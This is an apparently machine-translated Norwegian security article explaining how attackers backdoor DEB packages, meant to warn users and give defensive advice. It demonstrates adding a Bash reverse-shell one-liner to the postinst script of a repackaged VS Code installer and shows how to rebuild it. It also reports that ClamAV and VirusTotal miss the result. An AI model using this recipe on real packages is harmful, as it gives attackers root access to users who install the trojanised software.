Visste du at angripere kan endre skriptene som er pakket i en DEB-fil for å få uautorisert tilgang til PC-en din? Her er hvordan DEB-pakker er bakdører.
Viktige takeaways
- DEB-pakker kan enkelt bakdør, slik at angripere kan injisere ondsinnet kode i systemet ditt når du installerer dem med root-tillatelser.
- Infiserte DEB-pakker er vanskelige å oppdage, siden de kanskje ikke blir flagget av antivirusprogramvare eller skyløsninger som VirusTotal.
- For å beskytte deg selv, unngå å laste ned DEB-pakker fra tilfeldige nettsteder, hold deg til offisielle nedlastingssider eller fellesskapsbetrodde nettsteder, og vurder å installere sikkerhetsverktøy for å sikre Linux-systemet ditt mot nettverk angrep.
DEB-filer er programvarepakker som er det primære formatet for levering av programvare på Debian-baserte Linux-distribusjoner.
For å installere DEB-pakker, må du bruke en pakkebehandling som dpkg med root-tillatelser. Angripere drar nytte av dette og injiserer bakdører i disse pakkene. Når du installerer dem med dpkg eller en hvilken som helst annen pakkebehandling, blir den ondsinnede koden også utført ved siden av og kompromitterer systemet ditt.
La oss utforske nøyaktig hvordan DEB-pakker er bakdører og hva du kan gjøre for å beskytte deg selv.
Hvordan er DEB-pakker bakdør?
Før du forstår hvordan DEB-pakker er bakdører, la oss utforske hva som er inne i en DEB-pakke. For demonstrasjon vil jeg laste ned Microsoft Visual Studio Code DEB-pakken fra det offisielle Microsoft-nettstedet. Dette er den samme pakken du vil laste ned hvis du vil installere VS Code på Linux.
Nedlasting:Visual Studio-kode
Nå som du har lastet ned målpakken, er det på tide å pakke den ut. Du kan pakke ut en DEB-pakke ved å bruke dpkg-deb kommando med -R flagg etterfulgt av banen for å lagre innholdet:
dpkg-deb -R
Dette bør trekke ut innholdet i VS-kodepakken.
Når du flytter inn i mappen vil du finne flere kataloger, men vår interesse ligger kun i DEBIAN katalog. Denne katalogen inneholder vedlikeholdsskript som kjøres under installasjonen med root-privilegier. Som du kanskje har skjønt allerede, endrer angriperne skriptene i denne katalogen.
For demonstrasjon vil jeg endre postinst skript og legg til et enkelt enlinjet Bash omvendt TCP-skall. Som navnet antyder, er det et skript som kjøres etter at pakken er installert på systemet.
Den inneholder kommandoer som fullfører konfigurasjonene som å sette opp symbolske lenker, avhengighetshåndtering og mer. Du kan finne tonnevis av forskjellige omvendte skjell på internett. De fleste av dem vil fungere på samme måte. Her er prøven omvendt skall-one-liner:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
Forklaring av kommandoen:
- bash: Dette er kommandoen som påkaller Bash-skallet.
- -Jeg: Flagget forteller Bash å kjøre i interaktiv modus som tillater sanntids kommando I/O.
-
>& /dev/tcp/ip/port: Dette omdirigerer standard utgang og standardfeil til en nettverkskontakt, som i hovedsak etablerer en TCP-forbindelse til
og . - 0>&1: Dette omdirigerer inngangen og utgangen til samme sted, dvs. til nettverkskontakten.
For de uinitierte er et omvendt skall en type kode som, når den kjøres på målmaskinen, starter en tilkobling tilbake til angriperens maskin. Omvendte skjell er en fin måte å omgå brannmurrestriksjoner ettersom trafikken genereres fra maskinen bak brannmuren.
Slik ser det modifiserte skriptet ut:
Som du kan se, er alt det samme, men bare én linje er lagt til, det vil si vårt Bash-omvendte skall. Nå må du bygge filene tilbake til ".deb" format. Bare bruk dpkg kommando med --bygge flagg eller bruk dpkg-deb med -b flagg etterfulgt av banen til det utpakkede innholdet:
dpkg --build
dpkg-deb -b
Nå er den bakdørs DEB-pakken klar til å sendes på ondsinnede nettsteder. La oss simulere et scenario der et offer har lastet ned DEB-pakken til systemet sitt og installerer den som en hvilken som helst annen vanlig pakke.
Den øverste terminalruten er for offerets POV og den nederste er angriperens POV. Offeret installerer pakken med sudo dpkg -i og angriperen lytter tålmodig etter innkommende forbindelser ved hjelp av nettkatt kommando i Linux.
Så snart installasjonen er ferdig, legg merke til at angriperen får den omvendte skallforbindelsen og nå har root-tilgang til offerets system. Nå vet du hvordan DEB-pakker er bakdører. La oss nå lære hvordan du kan beskytte deg selv.
Slik oppdager du om en DEB-pakke er skadelig
Nå som du vet at infiserte DEB-pakker er en ting, må du lure på hvordan du finner infiserte. For det første kan du prøve å bruke en Linux antivirusprogramvare som ClamAV. Dessverre, når en ClamAV-skanning ble kjørt på pakken, flagget den ikke som skadelig. Her er resultatet av skanningen:
Så med mindre du har en premium antivirusløsning på plass (som ikke er en garanti for at du ikke blir hacket), er det ganske vanskelig å oppdage skadelige DEB-pakker. La oss prøve å bruke en skyløsning som VirusTotal-nettstedet:
Som du kan se, oppdaget ikke VirusTotal noe galt med den. Vel, den eneste måten å beskytte deg mot slike trusler er å følge grunnleggende sikkerhetshygiene som å ikke laste ned filer fra ukjente kilder, alltid sjekke hashen til en fil, og generelt unngå å installere lyssky programvare.
Internett er fullt av slike trusler. Den eneste måten å surfe uten å miste dataene dine, er å ha vettet om deg og bla gjennom pålitelige nettsteder. I tillegg, for Linux, bør du også prøve å finne ut om programvaren du laster ned har en AppImage-variant da de er selvforsynte og kan settes i sandkasse og dermed holdes utenfor kontakt med systemet ditt.
Ikke last ned DEB-pakker fra tilfeldige nettsteder!
DEB-pakker er ikke dårlige i seg selv, men angripere kan enkelt bevæpne og sende dem til intetanende brukere. Som vist kan en DEB-pakke enkelt åpnes og modifiseres for å legge til tilpasset kode med bare noen få kommandoer, noe som gjør den til en vanlig vektor for sending av skadelig programvare.
Selv enkle bakdører på DEB-pakker forblir ufanget av de beste antivirusløsningene. Så det beste du kan gjøre er å spille trygt, ha med deg sunn fornuft mens du surfer på nettet, og alltid bare laste ned programvare fra offisielle nedlastingssider eller nettsteder som er pålitelige i fellesskapet.
Nå som du er klar over sikkerhetsrisikoen som følger med å installere DEB-pakker fra nye eller ukjente nettsteder, bør du være forsiktig når du installerer ny programvare. Det er imidlertid ikke nok å være forsiktig med hva du installerer. Linux-systemet ditt kan også være et mål for nettverksangrep.
For å sikre at du er trygg i tilfelle et nettverksangrep, bør du vurdere å installere nettverkssikkerhetsverktøy.